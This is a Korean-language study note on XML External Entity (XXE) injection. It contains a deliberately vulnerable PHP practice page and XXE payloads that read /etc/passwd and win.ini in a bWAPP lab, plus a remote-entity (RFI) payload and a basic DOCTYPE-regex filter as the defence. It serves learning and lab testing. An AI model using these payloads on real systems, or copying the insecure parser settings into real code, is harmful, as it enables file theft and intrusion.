Skip to the content.

XXE

일반적으로 잘못 구성된 XML Parser 를 사용하여 신뢰할 수 없는 XML 공격 코드을 주입시켜 실행시키는 응용 프로그램에 대한 공격

해당 공격을 통해서 주요 시스템 파일 접근(LFI)이나 외부 악의 적인 파일 참조(RFI)가 가능

보통 XML Parser 설정에서 External Entity 사용을 금지시키지 않아 발생

PHP 설정

xmlrpc 확장을 활성화 한다.

libxml_disable_entity_loader(false);

allow_url_fopen = on

allow_url_include = on

실습 가능 코드


[XEE.PHP]
<html>
<body>
<meta charset='utf-8'/>
<?php
if (function_exists('libxml_disable_entity_loader')) {
    libxml_disable_entity_loader(false);
}
$xml=$_POST['xml'];
if($xml){
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
}
?>
<form method="post">
<textarea name="xml" rows="12" cols="100">
<?php
echo $xml;
?>
</textarea>
<input type="submit">
</form>
<?php
echo $doc;
?>
</html>

상기 코드를 저장하고 아래 내용을 textarea에 입력해 테스트 해본다.


<!DOCTYPE test[
<!ENTITY testtest "XXE SUCCESS">
]>
<result>&testtest;</result>

from http://securitynote.tistory.com/4 https://stackoverflow.com/questions/29811915/external-entities-not-working-in-simplexml

방어코드


if(preg_match("/<!DOCTYPE/i", $xml))
{
	throw new InvalidArgumentException('Invalid XML: Detected use of illegal DOCTYPE');
}

from http://blog.naver.com/PostView.nhn?blogId=koromoon&logNo=120208853424&parentCategoryNo=&categoryNo=15&viewDate=&isShowPopularPosts=false&from=postView

LFI(Local File Inclusion)

bWAPP에서 실습하기 위해서는 WINDOWS는 문제 없지만, Linux에서는 코드를 약간 수정한다.

$doc = simplexml_load_string($xml, ‘SimpleXMLElement’, LIBXML_NOENT);


<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///windows/win.ini">
]><reset><login>&bWAPP;</login><secret>Any bugs?</secret></reset>

<!DOCTYPE test[
<!ENTITY testtest SYSTEM "file:///etc/passwd">
]>
<result>&testtest;</result>

RFI(Remote File Inclusion)


<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://원격주소">
]><result>&bWAPP;</result>

참고사이트

The HackPot : XML External Enitity (XXE) Injection

http://thehackpot.blogspot.com/2014/05/xml-external-enitity-xxe-injection.html?m=1